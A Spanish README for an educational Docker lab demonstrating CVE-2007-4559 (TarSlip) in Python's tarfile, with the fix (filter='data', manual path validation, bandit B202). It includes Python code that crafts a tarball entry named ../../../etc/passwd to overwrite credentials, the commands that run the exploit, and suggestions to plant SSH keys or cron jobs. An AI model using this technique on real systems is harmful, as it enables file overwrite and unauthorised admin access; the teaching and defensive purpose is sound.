CVE-2007-4559 — TarSlip: El Ataque de Recorrido de Directorios de 15 Años

Solo con fines educativos. Este laboratorio explota intencionalmente vulnerabilidades del sistema de archivos dentro de contenedores Docker aislados. No lo ejecute en ningún sistema con datos sensibles o en entornos de producción.

Un laboratorio Docker autocontenido que demuestra la CVE-2007-4559 — la infame vulnerabilidad "TarSlip" en el módulo tarfile de Python — a través de una cadena de ataque concreta de principio a fin:

1. Un atacante sube un tarball manipulado a una API de carga de archivos.
2. extractall() escribe ciegamente una entrada tar llamada ../../../etc/passwd fuera del directorio de extracción, sobrescribiendo el archivo real del sistema.
3. La contraseña plantada concede al atacante acceso a un endpoint /admin protegido.
4. El mismo ataque se ejecuta luego contra una API corregida — y se bloquea con una línea de código.

La vulnerabilidad

tarfile.extractall() de Python reproduce fielmente cada entrada en un archivo tar, incluyendo aquellas cuyos nombres contienen secuencias de recorrido de directorio (../). Nunca fue diseñado para ser un límite de seguridad.

nombre de entrada tar : ../../../etc/passwd
directorio de extracción : /shared/uploads/a1b2c3d4/

ruta resuelta  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← archivo del sistema sobrescrito

Lo que muestra la demostración

La demostración se ejecuta en tres tiempos, cada uno requiere una pulsación de tecla para avanzar.

Tiempo 1 — Base

• GET /admin → 401. El endpoint admin existe y está protegido. El atacante no conoce la contraseña.
• Subir innocent.tar.gz → los archivos caen dentro del directorio sandbox. Todo parece normal.

Tiempo 2 — El Exploit

Atacante crea tarslip_passwd.tar.gz
  └─ entrada: "../../../etc/passwd"
       contenido: admin:hacked:1001:...   ← contraseña plantada
            │
            ▼
  POST /upload  (carga de archivo multipart)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  resuelve "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "¡Bienvenido, admin! Tienes acceso completo de administrador."
  flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

Un solo HTTP POST. Sin shell. Sin payload RCE. Solo un archivo tar.

Tiempo 3 — La Corrección

El mismo tarball se sube a la API corregida, que pasa filter='data' a extractall(). Python lanza tarfile.OutsideDestinationError — el recorrido se bloquea, /etc/passwd no se toca, y /admin permanece bloqueado.

# Vulnerable — predeterminado antes de Python 3.14
tar.extractall(extraction_dir)

# Corregido — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

Un argumento. Quince años para implementarse.

Arquitectura

Cuatro servicios en una red bridge Docker aislada (tarslip-net). Nada llega a internet.

┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  puerto 8000    │      │       puerto 8080 (host) │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  Sirve /shared a través  │  │
│  │  GET  /admin    │      │  de HTTP — navegar       │  │
│  │  GET  /health   │      │  visualmente extracciones│  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  volumen de almacenamiento compartido       │
│           └────────────────────────────────────────────┘ │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (sin puerto host — solo interno)   │
│  │                 │                                     │
│  │  craft_malicious.py  — genera tarballs                │
│  │  demo.py             — impulsa la demostración        │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘

Las API vulnerable y corregida usan código fuente idéntico. La única diferencia es la variable de entorno USE_SAFE_EXTRACTION=true en el contenedor corregido, que activa el único argumento filter='data'.

Estructura del repositorio

CVE-2007-4559-lab/
├── run_demo.sh                      ← empezar aquí
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # API Flask: /upload + /admin + /health
│   ├── Dockerfile                   # siembra admin:s3cr3t_Adm1nPass en /etc/passwd
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # genera innocent.tar.gz + tarslip_passwd.tar.gz
    ├── demo.py                      # controlador CLI de cuatro modos (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

Requisitos previos

• Docker 20.10+ con el plugin Compose (docker compose version)
• macOS / Linux — el script de shell usa bash
• Puertos 8000 y 8080 libres en su máquina host

Ejecutar la demostración

git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

El script es completamente interactivo. Imprime una narrativa antes de cada paso y espera Enter para avanzar. No se necesita conocimiento previo de Docker para seguirlo.

Lo que cubre cada punto de pausa

Ejecutar tiempos individualmente

Si desea avanzar manualmente:

# Stack vulnerable
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# Stack corregido
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# Desmontaje
docker compose -f docker-compose.fixed.yml down

Inspección visual

Mientras el stack vulnerable esté en ejecución, abra http://localhost:8080/uploads/ para navegar por los directorios de sesión extraídos en su navegador.

Cómo funciona el endpoint /admin

La API siembra una contraseña de administrador secreta en /etc/passwd en el momento de construir la imagen:

admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

GET /admin lee este archivo y verifica el segundo campo (contraseña) contra las credenciales de Autenticación Básica HTTP. El atacante no conoce s3cr3t_Adm1nPass — pero después de que TarSlip sobrescribe el archivo con su propia versión que contiene admin:hacked, la conoce.

Este es un modelo simplificado de objetivos del mundo real: authorized_keys de SSH, archivos de configuración de aplicaciones, trabajos cron y cualquier archivo de credenciales que el proceso web pueda escribir.

Cómo se crean los payloads

craft_malicious.py usa el propio módulo tarfile de Python — el mismo que tiene el error:

def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name es la ruta de recorrido
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# El nombre de la entrada se resuelve a /etc/passwd cuando se extrae en /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

Sin herramientas especiales. Sin explotación binaria. La biblioteca estándar es tanto el arma como la víctima.

La corrección explicada

Python 3.12 introdujo filter= en PEP 706. El filtro 'data':

• Rechaza entradas que se resuelven fuera del directorio de destino
• Elimina los bits setuid/setgid
• Ignora archivos de dispositivo y enlaces duros a rutas inseguras
• Lanza tarfile.OutsideDestinationError en intentos de recorrido

# Antes (vulnerable — todavía el predeterminado hasta Python 3.14)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# Después (seguro)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

Para Python 3.11 y versiones anteriores, valide manualmente:

import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"Ruta insegura: {member.name}")
    tar.extractall(dest)

Análisis estático: la regla B202 de bandit marca llamadas inseguras a extractall() en CI.

Impacto más amplio — ZipSlip

TarSlip es el nombre de Python para una clase de vulnerabilidad que existe en todos los lenguajes con APIs de extracción de archivos:

Misma causa raíz en todas partes: confiar en rutas de archivos no confiables. Misma corrección en todas partes: canonizar y validar antes de escribir.

Variaciones para la audiencia

Audiencias de desarrolladores

Enfóquese en la diferencia de código antes/después y en la regla bandit B202. El objetivo es "¿cómo prevenimos esto en nuestra base de código?" — muestre la guía de migración de PEP 706 y cómo agregar la verificación a CI.

Audiencias de seguridad

Enfóquese en la metodología de divulgación de Trellix — cómo buscaron en GitHub a gran escala, estimaron el impacto en más de 350,000 repos y navegaron la divulgación responsable para una vulnerabilidad tan extendida.

Audiencias de CTF

Extienda craft_malicious.py para plantar un archivo authorized_keys de SSH o una entrada maliciosa de cron en lugar de /etc/passwd. Misma técnica, diferentes objetivos — muestra que cualquier ruta escribible es una superficie de ataque.

Referencias

• NVD — CVE-2007-4559
• PEP 706 — Filtro para tarfile.extractall
• Trellix — "15 Years Later: On the Dangers of Zip/Tar Slip"
• Rastreador de incidencias de Python — bpo-21109 (el informe original de 2007)
• Bandit B202
• Aviso ZipSlip de Snyk

Licencia

MIT — úselo libremente para educación, investigación de seguridad y demostraciones en conferencias. No use las técnicas de generación de payload contra sistemas que no le pertenezcan.